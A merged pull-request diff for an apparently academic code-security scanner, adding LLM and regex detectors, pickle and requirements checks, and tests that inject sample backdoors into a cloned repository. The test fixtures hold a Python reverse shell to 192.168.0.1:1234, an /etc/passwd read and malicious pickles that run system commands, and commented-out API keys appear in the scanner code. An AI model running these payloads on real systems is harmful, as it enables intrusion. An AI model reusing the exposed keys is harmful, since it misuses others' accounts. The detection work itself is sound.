Merge pull request 'tests/final-tests 完成最终代码' (#34) from tests/final-tests into main

Reviewed-on: #34
Reviewed-by: dqy <dqy@noreply.localhost>

detection/GPTdetection.py

@@ -1,8 +1,11 @@
 import json
 import os
+import threading
+import time
+
 from .utils import *
 import openai
-import signal
+# import signal
 
 
 class TimeoutException(Exception):
@@ -22,10 +25,10 @@ def detectGPT(content: str):
         raise ValueError("env OPENAI_API_KEY no set")
 
     # Set alarm timer
-    signal.signal(signal.SIGTERM, timeout_handler)
+    # signal.signal(signal.SIGTERM, timeout_handler)
-    signal.alarm(10)
+    # signal.alarm(10)
 
-    client = openai.OpenAI(base_url="https://api.xiaoai.plus/v1", api_key=api_key)
+    client = openai.OpenAI(base_url="https://api.kpi7.cn/v1", api_key=api_key)
     text = content
     # client = openai.OpenAI(api_key="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") #测试用key
     response = client.chat.completions.create(
@@ -34,14 +37,16 @@ def detectGPT(content: str):
                 "role": "system",
                 "content": "You are a Python code reviewer.Read the code below and identify any potential security vulnerabilities. Classify them by risk level (high, medium, low, none). Only report the line number and the risk level.\nYou should output the result as json format in one line. For example: "
                            '[{"Line": {the line number}, "Risk": "{choose from (high,medium,low)}","Reason":"{how it is vulnable}"}] Each of these three field is required.\n'
-                           "You are required to only output the json format. Do not output any other information.\n",
+                           "You are required to only output the json format. Do not output any other information.请注意：只对有具体危害的代码片段判定为有风险。\n"
+                           "For examples:\nos.system('ls'),subprocess.call(['ls', '-l']),subprocess.call([\"/bin/sh\",\"-i\"]),eval(code),exec(code) and so on.\n"
+                           "Please IGNORE the risks that dont matter a lot.",
             },
             {
                 "role": "user",
                 "content": text,
             },
         ],
-        model="gpt-3.5-turbo",
+        model="gpt-4o",
     )
     try:
         message_content = response.choices[0].message.content
@@ -55,8 +60,8 @@ def detectGPT(content: str):
     except TimeoutException:
         raise TimeoutException("The api call timed out")
 
-    finally:
+    # finally:
-        signal.alarm(0)
+    #     signal.alarm(0)
 
     classified_results = {"high": [], "medium": [], "low": [], "none": []}
     for res in res_json:
@@ -67,3 +72,34 @@ def detectGPT(content: str):
         except IndexError:
             pass
     return classified_results
+
+
+def GPTdetectFileList(fileList):
+    # print(len(fileList))
+    results = {"high": [], "medium": [], "low": [], "none": []}
+    threads = []
+    for file in fileList:
+        content = read_file_content(str(file))
+        threads.append(threading.Thread(target=GPTThread, args=(str(file), content, results)))
+    for thread in threads:
+        thread.start()
+        time.sleep(0.1)
+    for thread in threads:
+        thread.join()
+    return results
+
+
+def GPTThread(filename, content, results):
+    try:
+        res = detectGPT(content)
+        # print(res)
+        for key in res:
+            if key != "none":  # Exclude 'none' risk level
+                results[key].extend(
+                    [
+                        (f"{filename}: Line {line_num}", line)
+                        for line_num, line in res[key]
+                    ]
+                )
+    except Exception as e:
+        print(e)

detection/Regexdetection.py

@@ -34,6 +34,7 @@ def find_dangerous_functions(
             r"\bos\.kill\b": "high",
             r"\bos\.popen\b": "medium",
             r"\bos\.spawn\b": "medium",
+            r"\bsubprocess": "medium",
         },
     }
     risk_patterns = patterns.get(file_extension, {})
@@ -43,7 +44,9 @@ def find_dangerous_functions(
             clean_line = remove_comments(line, file_extension)
             if not clean_line:
                 continue
+            # 消除换行符，避免影响正则匹配
+            clean_line = clean_line.replace("\\n", "")
             for pattern, risk_level in risk_patterns.items():
-                if re.search(pattern, clean_line):
+                if re.search(pattern, clean_line, re.MULTILINE | re.DOTALL):
                     classified_results[risk_level].append((line_number, clean_line))
     return classified_results

detection/__main__.py

@@ -1,3 +1,4 @@
+import json
 import os
 from typing import Dict, List, Tuple, Optional
 from reportlab.lib.pagesizes import letter
@@ -5,8 +6,12 @@ from reportlab.lib.styles import getSampleStyleSheet
 from reportlab.platypus import Paragraph, Spacer, SimpleDocTemplate
 
 from detection.pickle_detection import pickleDataDetection
+
+from .requirements_detection import requirement_detection
 from .Regexdetection import find_dangerous_functions
-from .GPTdetection import detectGPT
+from .GPTdetection import detectGPT, GPTdetectFileList
+
+# from .cngptdetection import detectGPT,GPTdetectFileList
 from .pyc_detection import disassemble_pyc
 from .utils import *
 import sys
@@ -16,7 +21,7 @@ from pathlib import Path
 
 PYCDC_FLAG = True
 PYCDC_ADDR_FLAG = True
-SUPPORTED_EXTENSIONS = {".py", ".js", ".cpp", ".pyc"}
+SUPPORTED_EXTENSIONS = {".py", ".js", ".cpp", ".pyc",".pkl",".pickle"}
 OUTPUT_FORMATS = ["html", "md", "txt", "pdf"]
 ORDERS = [
     "__import__",
@@ -28,6 +33,8 @@ ORDERS = [
     "__getattribute__",
     "getattr",
     "child_process",
+    "kill",
+    "fork",
 ]
 
 # Initialize colorama
@@ -104,9 +111,15 @@ def generate_text_content(results: Dict[str, List[Tuple[int, str]]]) -> str:
 
     text_output = "Security Analysis Report\n"
     text_output += "=" * 30 + "\n\n"
+    # text_output+= "chatGPT检测结果：\n\n"
 
     for risk_level, entries in results.items():
-        if entries and risk_level != "none":
+        # print(risk_level, entries)
+        if risk_level == "pickles":
+            text_output += f"Pickles:\n"
+            for i in entries:
+                text_output += f"  {i['file']}:{json.dumps(i['result'])}\n"
+        elif entries and risk_level != "none":
             risk_color = (
                 {
                     "high": Fore.RED,
@@ -361,9 +374,14 @@ def checkModeAndDetect(mode: str, filePath: str, fileExtension: str, pycdc_addr:
 
 
 def process_path(
-    path: str, output_format: str, mode: str, pycdc_addr: str, output_file=None
+    path: str,
+    output_format: str,
+    mode: str,
+    pycdc_addr: str,
+    output_file=None,
+    requirement_path=None,
 ):
-    results = {"high": [], "medium": [], "low": [], "none": []}
+    results = {"high": [], "medium": [], "low": [], "none": [], "pickles": []}
     if os.path.isdir(path):
         # 使用rglob获取所有文件
         all_files = [
@@ -371,37 +389,36 @@ def process_path(
             for file_path in Path(path).rglob("*")
             if file_path.suffix in SUPPORTED_EXTENSIONS
         ]
-
+        print(all_files)
-        # 扫描动画
+        if mode == "llm":
-        for file_path in tqdm(all_files, desc="Scanning files", unit="file"):
+            results = GPTdetectFileList(all_files)
-            file_extension = file_path.suffix
+        else:
-            if file_extension in [".pkl",".pickle"]:
+            # 扫描动画
-                res = pickleDataDetection(str(file_path), output_file)
+            for file_path in tqdm(all_files, desc="Scanning files", unit="file"):
-                results["pickles"].append({
+                file_extension = file_path.suffix
-                    "file": str(file_path),
+                # print(file_extension)
-                    "result": res
+                if file_extension in [".pkl",".pickle"]:
-                })
+                    # print("识别到pickle")
-                continue
+                    res = pickleDataDetection(str(file_path), output_file)
-            file_results = checkModeAndDetect(
+                    results["pickles"].append({"file": str(file_path), "result": res})
-                mode, str(file_path), file_extension, pycdc_addr
+                    continue
-            )
+                file_results = checkModeAndDetect(
-            if file_results is not None:
+                    mode, str(file_path), file_extension, pycdc_addr
-                for key in file_results:
+                )
-                    if key != "none":  # Exclude 'none' risk level
+                if file_results is not None:
-                        results[key].extend(
+                    for key in file_results:
-                            [
+                        if key != "none":  # Exclude 'none' risk level
-                                (f"{file_path}: Line {line_num}", line)
+                            results[key].extend(
-                                for line_num, line in file_results[key]
+                                [
-                            ]
+                                    (f"{file_path}: Line {line_num}", line)
-                        )
+                                    for line_num, line in file_results[key]
+                                ]
+                            )
     elif os.path.isfile(path):
         file_extension = os.path.splitext(path)[1]
         if file_extension in [".pkl", ".pickle"]:
             res = pickleDataDetection(str(path), output_file)
-            results["pickles"].append({
+            results["pickles"].append({"file": str(path), "result": res})
-                "file": str(path),
-                "result": res
-            })
         elif file_extension in SUPPORTED_EXTENSIONS:
             file_results = checkModeAndDetect(mode, path, file_extension, pycdc_addr)
             if file_results is not None:
@@ -419,7 +436,8 @@ def process_path(
     else:
         print("Invalid path.")
         sys.exit(1)
-
+    if requirement_path is not None:
+        requirement_detection(requirement_path, output_file)
     output_results(results, output_format, output_file)
 
 
@@ -438,7 +456,7 @@ def main():
         "-p",
         "--pycdc",
         help="Path to pycdc.exe to decompile",
-        default=os.getenv("pycdc"),
+        default=os.getenv("PATH"),
     )
     parser.add_argument(
         "-P",
@@ -446,12 +464,15 @@ def main():
         help="Path to pickle file to analyze",
         default=None,
     )
+    parser.add_argument(
+        "-r",
+        "--requirement",
+        help="Path to requirement file to analyze",
+        default=None,
+    )
     args = parser.parse_args()
     output_format = "txt"  # Default output format
     output_file = None
-    if args.Pickle:
-        pickleDataDetection(args.Pickle, args.output)
-        return
     if args.output:
         _, ext = os.path.splitext(args.output)
         ext = ext.lower()
@@ -464,7 +485,9 @@ def main():
             )
             output_file = args.output.rsplit(".", 1)[0] + ".txt"
     # 如果未指定输出文件，则输出到 stdout；否则写入文件
-    process_path(args.path, output_format, args.mode, args.pycdc, output_file)
+    process_path(
+        args.path, output_format, args.mode, args.pycdc, output_file, args.requirement
+    )
     if PYCDC_FLAG == False:
         print(
             "ERROR: Detected Python 3.11 or above .pyc files. You need to install pycdc and compile it yourself to obtain pycdc."

detection/cngptdetection.py

@@ -1,16 +1,21 @@
 import os
+import threading
+import time
+
 import requests
 import re
 import json
 from typing import List, Dict, Any
 
+from detection.utils import read_file_content
+
 
 class TimeoutException(Exception):
     """自定义异常用于处理超时情况。"""
     pass
 
 
-def detectGPT(content: str) -> str:
+def detectGPT(content: str,token:str):
     """
     检测给定的代码内容中的潜在安全漏洞。
 
@@ -20,15 +25,8 @@ def detectGPT(content: str) -> str:
     返回:
     - 分类后的漏洞信息的JSON字符串。
     """
-    api_key = os.getenv("BAIDU_API_KEY")
-    secret_key = os.getenv("BAIDU_SECRET_KEY")
-    #api_key = "DUBWNIrB6QJLOsLkpnEz2ZZa"
-    #secret_key = "9WK4HIV2n9r1ePPirqD4EQ6Ea33rH1m7"
-    if not api_key or not secret_key:
-        raise ValueError("BAIDU_API_KEY or BAIDU_SECRET_KEY is not set")
 
-    url = "https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxinworkshop/chat/ernie-4.0-8k-0329?access_token=" + get_access_token(
+    url = "https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxinworkshop/chat/ernie-4.0-8k-0329?access_token=" + token
-        api_key, secret_key)
 
     payload = json.dumps({
         "messages": [
@@ -63,6 +61,7 @@ def detectGPT(content: str) -> str:
 
     classified_results = {"high": [], "medium": [], "low": [], "none": []}
     for res in extracted_data:
+        # print(res)
         try:
             line_number = int(res["Line"])
             classified_results[res["Risk"]].append(
@@ -71,7 +70,7 @@ def detectGPT(content: str) -> str:
         except (ValueError, IndexError, KeyError):
             continue
 
-    return json.dumps(classified_results, indent=2, ensure_ascii=False)
+    return classified_results
 
 
 def get_access_token(api_key: str, secret_key: str) -> str:
@@ -111,3 +110,40 @@ def extract_json_from_text(text: str) -> List[Dict[str, Any]]:
         return []
 
     return data
+
+
+def GPTdetectFileList(fileList):
+    api_key = os.getenv("BAIDU_API_KEY")
+    secret_key = os.getenv("BAIDU_SECRET_KEY")
+    # api_key = "DUBWNIrB6QJLOsLkpnEz2ZZa"
+    # secret_key = "9WK4HIV2n9r1ePPirqD4EQ6Ea33rH1m7"
+    if not api_key or not secret_key:
+        raise ValueError("BAIDU_API_KEY or BAIDU_SECRET_KEY is not set")
+    # print(len(fileList))
+    results = {"high": [], "medium": [], "low": [], "none": []}
+    threads = []
+    token = get_access_token(api_key, secret_key)
+    # print(token)
+    for file in fileList:
+        content = read_file_content(str(file))
+        threads.append(threading.Thread(target=GPTThread, args=(str(file), content, results,token)))
+    for thread in threads:
+        thread.start()
+        time.sleep(0.5)
+    for thread in threads:
+        thread.join()
+    return results
+
+
+def GPTThread(filename, content, results,token):
+
+        res = detectGPT(content,token)
+        # print(res)
+        for key in res:
+            if key != "none":  # Exclude 'none' risk level
+                results[key].extend(
+                    [
+                        (f"{filename}: Line {line_num}", line)
+                        for line_num, line in res[key]
+                    ]
+                )

detection/requirements_detection.py

@@ -1,279 +1,268 @@
-import re
-import os
-import requests
 import argparse
+import requests
 from bs4 import BeautifulSoup
-from typing import List, Tuple, Optional
+from packaging.version import Version, InvalidVersion
-from packaging import version
+import sys
-from packaging.specifiers import SpecifierSet
 from reportlab.lib.pagesizes import letter
-from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
 from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
+from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
+from colorama import Fore, Style, init
+from tqdm import tqdm
+import html
+import os
 
 
-def fetch_html(url: str) -> Optional[str]:
+init(autoreset=True)  # 初始化colorama，并在每次打印后自动重置颜色
-    """Fetch HTML content from the specified URL.
 
-    Args:
-        url (str): URL to fetch HTML from.
 
-    Returns:
+def fetch_html(url: str) -> str:
-        Optional[str]: HTML content as a string, or None if fetch fails.
+    try:
-    """
+        response = requests.get(url)
-    response = requests.get(url)
+        response.raise_for_status()
-    if response.status_code == 200:
         return response.text
-    return None
+    except requests.RequestException as e:
+        print(f"Error fetching {url}: {e}")
+        return ""
 
 
-def parse_html(html: str) -> List[Tuple[str, List[str]]]:
+def parse_html(html: str) -> list:
-    """Parse HTML to get content of all 'a' and 'span' tags under the second 'td' of each 'tr'.
-
-    Args:
-        html (str): HTML content as a string.
-
-    Returns:
-        List[Tuple[str, List[str]]]: A list of tuples containing the text of 'a' tags and lists of 'span' texts.
-    """
     soup = BeautifulSoup(html, "html.parser")
     table = soup.find("table", id="sortable-table")
+    if not table:
+        return []
+
+    rows = table.find_all("tr", class_="vue--table__row")
     results = []
-    if table:
+    for row in rows:
-        rows = table.find("tbody").find_all("tr")
+        info = {}
-        for row in rows:
+        link = row.find("a")
-            tds = row.find_all("td")
+        chip = row.find("span", class_="vue--chip__value")
-            if len(tds) >= 2:
+        if link and chip:
-                a_tags = tds[1].find_all("a")
+            info["link"] = link.get_text(strip=True)
-                span_tags = tds[1].find_all("span")
+            info["chip"] = chip.get_text(strip=True)
-                spans = [span.text.strip() for span in span_tags]
+            results.append(info)
-                for a_tag in a_tags:
-                    results.append((a_tag.text.strip(), spans))
     return results
 
 
-def format_results(results: List[Tuple[str, List[str]]]) -> str:
+def load_requirements(file_path: str) -> list:
-    """Format extracted data as a string.
+    requirements = []
-
+    try:
-    Args:
+        with open(file_path, "r") as file:
-        results (List[Tuple[str, List[str]]]): Extracted data to format.
+            for line in file:
-
+                line = line.strip()
-    Returns:
+                if line and not line.startswith("#"):
-        str: Formatted string of the extracted data.
+                    requirements.append(line)
-    """
+    except FileNotFoundError:
-    formatted_result = ""
+        print(f"Error: File {file_path} not found.")
-    for package_name, version_ranges in results:
+        sys.exit(1)
-        formatted_result += f"Package Name: {package_name}\n"
-        formatted_result += "Version Ranges: " + ", ".join(version_ranges) + "\n"
-        formatted_result += "-" * 50 + "\n"
-    return formatted_result
-
-
-def trans_vulnerable_packages(content):
-    """将漏洞版本中的集合形式转换为大于小于的格式
-    Args:
-        content (str): 漏洞版本汇总信息.
-    """
-    vulnerabilities = {}
-    blocks = content.split("--------------------------------------------------")
-    range_pattern = re.compile(r"\[(.*?),\s*(.*?)\)")
-
-    for block in blocks:
-        name_match = re.search(r"Package Name: (.+)", block)
-        if name_match:
-            package_name = name_match.group(1).strip()
-            ranges = range_pattern.findall(block)
-            specifier_list = []
-            for start, end in ranges:
-                if start and end:
-                    specifier_list.append(f">={start},<{end}")
-                elif start:
-                    specifier_list.append(f">={start}")
-                elif end:
-                    specifier_list.append(f"<{end}")
-            if specifier_list:
-                vulnerabilities[package_name] = SpecifierSet(",".join(specifier_list))
-    return vulnerabilities
-
-
-def format_vulnerabilities(vuln_packages):
-    """将字典形式的漏洞信息格式化
-    Args:
-        vuln_packages (List[Tuple[str, List[str]]]): Extracted data to format.
-    """
-    res = ""
-    for package, specifiers in vuln_packages.items():
-        res += f"Package Name: {package}\n"
-        res += f"Version Ranges: {specifiers}\n"
-        res += "-" * 50 + "\n"
-    return res
-
-
-def load_requirements(filename):
-    """从文件加载项目的依赖信息"""
-    with open(filename, "r", encoding="utf-8") as file:
-        lines = file.readlines()
-    requirements = {}
-    for line in lines:
-        if "==" in line:
-            package_name, package_version = line.strip().split("==")
-            requirements[package_name] = package_version
     return requirements
 
 
-def check_vulnerabilities(requirements, vulnerabilities, output_file):
+def version_in_range(version, range_str: str) -> bool:
-    """检查依赖项是否存在已知漏洞，并输出结果"""
+    if version is not None:
-    results_warning = []  # 存储有漏洞的依赖
+        try:
-    results_ok = []  # 存储没有漏洞的依赖
+            v = Version(version)
-
+        except InvalidVersion:
-    for req_name, req_version in requirements.items():
+            return False
-        if req_name in vulnerabilities:
-            spec = vulnerabilities[req_name]
-            if version.parse(req_version) in spec:
-                results_warning.append(
-                    f"WARNING: {req_name}=={req_version} is vulnerable!"
-                )
-            else:
-                results_ok.append(f"OK: {req_name}=={req_version} is not affected.")
-        else:
-            results_ok.append(
-                f"OK: {req_name} not found in the vulnerability database."
-            )
-
-    # 合并结果，先输出所有警告，然后输出所有正常情况
-    results = results_warning + results_ok
-    # print(results)
-    if output_file:
-        filename, ext = os.path.splitext(output_file)
-        output_format = ext[1:] if ext[1:] else "txt"
-        if output_format not in ["txt", "md", "html", "pdf"]:
-            print("Warning: Invalid file format specified. Defaulting to TXT format.")
-            output_format = "txt"  # 确保使用默认格式
-            output_file = filename + ".txt"
-        output_results(output_file, results, output_format)
     else:
-        print("\n".join(results))
+        if range_str[-2] == ",":
+            return True
+
+    ranges = range_str.split(",")
+    for range_part in ranges:
+        range_part = range_part.strip("[]()")
+        if range_part:
+            try:
+                if range_part.endswith(")"):
+                    upper = Version(range_part[:-1])
+                    if v >= upper:
+                        return False
+                elif range_part.startswith("["):
+                    lower = Version(range_part[1:])
+                    if v < lower:
+                        return False
+            except InvalidVersion:
+                return False
+    return True
 
 
-def trans_vulnerable_packages_to_dict(content):
+def check_vulnerabilities(requirements: list, base_url: str) -> str:
-    """将漏洞信息转换为字典格式
+    results = []
-    Args:
+    for req in tqdm(requirements, desc="Checking vulnerabilities", unit="dependency"):
-        content str: 漏洞信息汇总.
+        version = ""
+        if "==" in req:
+            package_name, version = req.split("==")
+        else:
+            package_name, version = req, None
+        url = f"{base_url}{package_name}"
+        # print(f"\nFetching data for {package_name} from {url}")
+        html_content = fetch_html(url)
+        if html_content:
+            extracted_data = parse_html(html_content)
+            if extracted_data:
+                relevant_vulns = []
+                for vuln in extracted_data:
+                    if version_in_range(version, vuln["chip"]):
+                        relevant_vulns.append(vuln)
+                if relevant_vulns:
+                    result = f"Vulnerabilities found for {package_name}:\n"
+                    for vuln in relevant_vulns:
+                        result += f"  - {vuln['link']}\n"
+                    results.append(result)
+    return "\n".join(results)
+
+
+def save_to_file(output_path: str, data: str):
+    if output_path.endswith(".html"):
+        save_as_html(output_path, data)
+    elif output_path.endswith(".pdf"):
+        save_as_pdf(output_path, data)
+    elif output_path.endswith(".md"):
+        save_as_markdown(output_path, data)
+    else:
+        save_as_txt(output_path, data)
+
+
+def save_as_html(output_path: str, data: str):
+    escaped_data = html.escape(data)
+    html_content = f"""
+    <html>
+    <head>
+        <meta charset="UTF-8">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        <link rel="icon" href="https://s2.loli.net/2024/05/30/WDc6MekjbuCU9Qo.png">
+        <title>Vulnerability Report</title>
+        <style>
+            body {{
+                font-family: Arial, sans-serif;
+                background-image: url('https://s2.loli.net/2024/05/30/85Mv7leB2IRWNp6.jpg');
+                background-size: cover;
+                color: #333;
+                margin: 0;
+                padding: 0;
+                display: flex;
+                justify-content: center;
+                align-items: center;
+                height: 100vh;
+            }}
+            .container {{
+                background: rgba(255, 255, 255, 0.8);
+                border-radius: 10px;
+                padding: 20px;
+                box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
+                max-width: 800px;
+                width: 100%;
+                margin: 20px;
+                overflow-y: auto;
+                max-height: 90vh;
+            }}
+            .title {{
+                font-size: 24px;
+                font-weight: bold;
+                text-align: center;
+                margin-bottom: 20px;
+            }}
+            pre {{
+                white-space: pre-wrap;
+                word-wrap: break-word;
+                font-size: 14px;
+                line-height: 1.5;
+                color: #333;
+                background: #f4f4f4;
+                padding: 10px;
+                border-radius: 5px;
+                border: 1px solid #ddd;
+                overflow: auto;
+                font-weight: bold;
+            }}
+        </style>
+    </head>
+    <body>
+        <div class="container">
+            <div class="title">Vulnerability Report</div>
+            <pre>{escaped_data}</pre>
+        </div>
+    </body>
+    </html>
     """
-    vulnerabilities = {}
+    with open(output_path, "w", encoding="utf-8") as file:
-    blocks = content.split("--------------------------------------------------")
+        file.write(html_content)
-    for block in blocks:
-        name_match = re.search(r"Package Name: (.+)", block)
-        range_match = re.search(r"Version Ranges: (.+)", block)
-        if name_match and range_match:
-            package_name = name_match.group(1).strip()
-            version_range = range_match.group(1).strip()
-            version_range = ",".join(
-                [part.strip() for part in version_range.split(",")]
-            )
-            vulnerabilities[package_name] = SpecifierSet(version_range)
-    return vulnerabilities
 
 
-def output_pdf(results, file_name):
+def save_as_pdf(output_path: str, data: str):
-    doc = SimpleDocTemplate(file_name, pagesize=letter)
+    doc = SimpleDocTemplate(output_path, pagesize=letter)
     story = []
     styles = getSampleStyleSheet()
 
-    # Custom styles
+    # Add the title centered
-    title_style = styles["Title"]
+    title_style = ParagraphStyle(
-    title_style.alignment = 1  # Center alignment
+        "Title",
-
+        parent=styles["Title"],
-    warning_style = ParagraphStyle(
+        alignment=1,  # Center alignment
-        "WarningStyle", parent=styles["BodyText"], fontName="Helvetica-Bold"
+        fontSize=24,
+        leading=28,
+        spaceAfter=20,
+        fontName="Helvetica-Bold",
     )
-    normal_style = styles["BodyText"]
-
-    # Add the title
     title = Paragraph("Vulnerability Report", title_style)
     story.append(title)
-    story.append(Spacer(1, 20))  # Space after title
 
-    # Iterate through results to add entries
+    # Normal body text style
-    for result in results:
+    normal_style = ParagraphStyle(
-        if "WARNING:" in result:
+        "BodyText", parent=styles["BodyText"], fontSize=12, leading=15, spaceAfter=12
-            # Add warning text in bold
+    )
-            entry = Paragraph(
-                result.replace("WARNING:", "<b>WARNING:</b>"), warning_style
-            )
-        else:
-            # Add normal text
-            entry = Paragraph(result, normal_style)
 
-        story.append(entry)
+    # Add the vulnerability details
-        story.append(Spacer(1, 12))  # Space between entries
+    for line in data.split("\n"):
+        if line.strip():  # Skip empty lines
+            story.append(Paragraph(line, normal_style))
 
     doc.build(story)
 
 
-def output_results(filename, results, format_type):
+def save_as_markdown(output_path: str, data: str):
-    """根据指定的格式输出结果"""
+    with open(output_path, "w") as file:
-    output_dir = os.path.dirname(filename)
+        file.write("## Vulnerability Report: \n\n")
-    if not os.path.exists(output_dir):
+        file.write(data)
-        os.makedirs(output_dir)
-
-    with open(filename, "w", encoding="utf-8") as file:
-        if format_type == "html":
-            file.write("<html><head><title>Vulnerability Report</title></head><body>\n")
-            file.write("<h1>Vulnerability Report</h1>\n")
-            for result in results:
-                file.write(f"<p>{result}</p>\n")
-            file.write("</body></html>")
-        elif format_type == "md":
-            file.write("# Vulnerability Report\n")
-            for result in results:
-                file.write(f"* {result}\n")
-        elif format_type == "pdf":
-            output_pdf(results, filename)
-        else:  # 默认为txt
-            for result in results:
-                file.write(f"{result}\n")
-
-    print("Results have been saved as " + filename)
 
 
-def main():
+def save_as_txt(output_path: str, data: str):
-    parser = argparse.ArgumentParser(
+    with open(output_path, "w") as file:
-        description="Check project dependencies for vulnerabilities."
+        file.write("Vulnerability Report: \n\n")
-    )
+        file.write(data)
-    parser.add_argument(
-        "requirements_file", help="Path to the requirements file of the project"
-    )
-    parser.add_argument(
-        "-o",
-        "--output",
-        help="Output file path with extension, e.g., './output/report.txt'",
-    )
-    args = parser.parse_args()
-
-    base_url = "https://security.snyk.io/vuln/pip/"
-    page_number = 1
-    crawler_results = ""
-    while True:
-        url = f"{base_url}{page_number}"
-        print(f"Fetching data from {url}")
-        html_content = fetch_html(url)
-        if not html_content:
-            print("No more data found or failed to fetch.")
-            break
-        extracted_data = parse_html(html_content)
-        if not extracted_data:
-            print("No relevant data found on page.")
-            break
-        crawler_results += format_results(extracted_data)
-        page_number += 1
-    print("Results have been stored in memory.\n")
-
-    trans_res = trans_vulnerable_packages(crawler_results)
-    trans_res = format_vulnerabilities(trans_res)
-    trans_res = trans_vulnerable_packages_to_dict(trans_res)
-    requirements = load_requirements(args.requirements_file)
-    check_vulnerabilities(requirements, trans_res, args.output)
 
 
-if __name__ == "__main__":
+def print_separator(title, char="-", length=50, padding=2):
-    main()
+    print(f"{title:^{length + 4*padding}}")  # 居中打印标题，两侧各有padding个空格
+    print(char * (length + 2 * padding))  # 打印分割线，两侧各有padding个字符的空格
+
+
+def modify_file_name(file_path: str) -> str:
+    """
+    Modify the file name by adding '-re' before the file extension.
+
+    Args:
+        file_path (str): The original file path.
+
+    Returns:
+        str: The modified file path.
+    """
+    directory, file_name = os.path.split(file_path)
+    name, ext = os.path.splitext(file_name)
+    new_file_name = f"{name}-re{ext}"
+    new_file_path = os.path.join(directory, new_file_name)
+    return new_file_path
+
+
+def requirement_detection(requirement_path, output_path=None):
+    base_url = "https://security.snyk.io/package/pip/"
+    requirements = load_requirements(requirement_path)
+    results = check_vulnerabilities(requirements, base_url)
+    if output_path is not None:
+        new_path = modify_file_name(output_path)
+        save_to_file(new_path, results)
+        print(f"Vulnerability scan complete. Results saved to {output_path}")
+        print(f"Requirements scan complete. Results saved to {new_path}")
+    else:
+        print_separator("\nVulnerability Report", "=", 40, 5)
+        print(results)

tests/final_tests_util.py

@@ -63,69 +63,39 @@ def inject_random_backdoor(
 
 
 # 示例1: 通过 os.system 执行命令
-backdoor1 = """
+backdoor1 = """import os
-import os
+os.system('ls')"""
-os.system('ls')
-"""
 
 # 示例2: 通过 subprocess 模块执行命令
-backdoor2 = """
+backdoor2 = """import subprocess
-import subprocess
+subprocess.call(['ls', '-l'])"""
-subprocess.call(['ls', '-l'])
-"""
 
 # 示例3: 打开一个反向 shell
-backdoor3 = """
+backdoor3 = """import socket,subprocess,os
-import socket,subprocess,os
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(("192.168.0.1",1234))
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
-subprocess.call(["/bin/sh","-i"])
+subprocess.call(["/bin/sh","-i"])"""
-"""
 
 # 示例4: 通过 eval 执行任意代码
-backdoor4 = """
+backdoor4 = """code = "print('Hello, World!')"
-code = "print('Hello, World!')"
+eval(code)"""
-eval(code)
-"""
 
 # 示例5: 通过 exec 执行任意代码
-backdoor5 = """
+backdoor5 = """code = '''
-code = '''
 import os
 os.system('ls')
 '''
-exec(code)
+exec(code)"""
-"""
 
-# 示例6: 简单的 HTTP 服务器后门
-backdoor6 = """
-import http.server
-import socketserver
-
-PORT = 8000
-
-Handler = http.server.SimpleHTTPRequestHandler
-
-with socketserver.TCPServer(("", PORT), Handler) as httpd:
-    print("serving at port", PORT)
-    httpd.serve_forever()
-"""
 
 # 示例7: 读取并显示文件内容
-backdoor7 = """
+backdoor7 = """with open('/etc/passwd', 'r') as file:
-with open('/etc/passwd', 'r') as file:
     data = file.read()
-    print(data)
+    print(data)"""
-"""
 
-# 示例8: 无限循环
-backdoor8 = """
-while True:
-    print("This is a backdoor.")
-"""
 
 backdoors = [
     backdoor1,
@@ -133,12 +103,15 @@ backdoors = [
     backdoor3,
     backdoor4,
     backdoor5,
-    backdoor6,
     backdoor7,
-    backdoor8,
 ]
 
-
+backdoors_pickle = [
+    b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.',
+    b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.',
+    b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.',
+    b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
+]
 def inject_pickle_backdoor(root_path: str) -> None:
     """
     Generate a pickle backdoor and insert it into the specified path.
@@ -149,8 +122,8 @@ def inject_pickle_backdoor(root_path: str) -> None:
     all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
     paths = random.sample(all_path, random.randrange(1, len(all_path)))
     for path in paths:
-        backdoor_id = random.randrange(0, len(backdoors))
+        backdoor_id = random.randrange(0, len(backdoors_pickle))
-        backdoor = backdoors[backdoor_id]
+        backdoor = backdoors_pickle[backdoor_id]
         filename = os.path.join(path, f"backdoor{backdoor_id}.pickle")
         with open(filename, "wb") as f:
             pickle.dump(backdoor, f)

tests/test_final_tests.py

@@ -47,6 +47,10 @@ class TestFinalTests(unittest.TestCase):
             clone_repo("https://github.com/TheAlgorithms/Python.git", "/tmp/Python")
         shutil.copytree("/tmp/Python", self.path)
         sampleRate = 0.1
+
+        # TODO
+        # preproccessing
+
         self.inject_result = inject_random_backdoor(self.path, sample_rate=sampleRate)
         self.pickle_true_num = inject_pickle_backdoor(self.path)
         self.pyc_true_num = inject_pyc_backdoor(self.path)